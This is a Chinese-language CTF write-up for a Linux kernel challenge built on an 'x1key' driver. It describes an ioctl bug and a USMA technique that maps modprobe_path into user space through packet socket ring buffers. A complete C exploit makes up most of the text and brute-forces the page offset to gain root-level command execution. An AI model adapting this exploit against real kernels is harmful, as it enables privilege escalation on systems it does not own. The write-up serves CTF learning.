漏洞分析
保护:smap、smep、pti、kaslr
漏洞在 x1key_ioctl 函数中:
测试发现题目是 slab 分配器,并且没开 SLAB_FREELIST_RANDOM
漏洞利用
USMA 劫持 modprobe_path
0x20大小的堆块,发现并没有便于利用的结构体,但是因为没开 SLAB_FREELIST_RANDOM,所以堆块的分配可预测。
而我们知道堆块是在直接映射区分配的,而直接映射区映射了所有的物理内存,自然也映射了 modprobe_path 所在页:
并且测试发现其低20位不变为0x2a0c0,并且0x80后内存不可访问,所以这里就只有0x80种情况
我们可以利用 USMA 将 modprobe_path 的 dir page 映射到用户空间进行修改。
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void err_exit(char* msg)
{
printf("[X] Error at %s\n", msg);
exit(-1);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
typedef struct request {
unsigned int idx;
unsigned int content;
}request;
int fd;
void add()
{
request req = { 0 };
ioctl(fd, 0x101, &req);
}
void edit(unsigned int idx, unsigned int content)
{
request req = { .idx = idx, .content = content };
ioctl(fd, 0x102, &req);
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /flag");
exit(0);
}
int main(int argc, char** argv, char** env)
{
unshare_setup();
fd = open("/dev/x1key", O_RDONLY);
int shm_fd = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT|0666);
char* shm_ptr = shmat(shm_fd, NULL, SHM_RDONLY);
add();
shmdt(shm_ptr);
int nr = 0x20 / 8;
int packet_fd = pagealloc_pad(nr, 0x1000);
char *page = NULL, *modprobe_path = NULL;
for (int i = 0; i < 0x80; i++)
{
edit(0, (i<<20)|0x2a000);
page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
if (page == -1) continue;
modprobe_path = page + 0x1000*(nr-1) + 0xc0;
if (!strcmp(modprobe_path, "/sbin/modprobe")) break;
munmap(page, 0x1000*nr);
}
strcpy(modprobe_path, "/tmp/x");
munmap(page, 0x1000*nr);
get_flag();
puts("[+] EXP NEVER END");
return 0;
}
效果如下: